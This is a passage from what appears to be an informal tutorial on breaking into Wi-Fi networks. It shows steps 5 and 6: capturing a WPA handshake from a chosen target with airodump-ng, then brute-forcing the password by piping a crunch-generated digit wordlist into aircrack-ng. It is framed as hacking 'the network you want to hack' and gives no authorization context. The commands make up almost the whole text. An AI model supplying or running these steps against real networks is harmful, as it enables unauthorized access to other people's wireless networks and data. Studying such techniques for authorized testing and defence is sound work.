Step 5 :airodump-ng mon0(as i have monitoring mode enabled at mon0)
Step 6 :airodump-ng mon0 --bssid [bssid of network you want to hack] --channel [its CH no] --write yourfilename
when you see a handshake has been developed now its time to crack it.press cntrl+c to stop picking packets.Now try to find password by using crunch command.
crunch 8 12 0123456789 | aircrack-ng --bssid ag:ad:ff:33:22:11 -w- yourfilename.cap
8 means minimum 8 characters
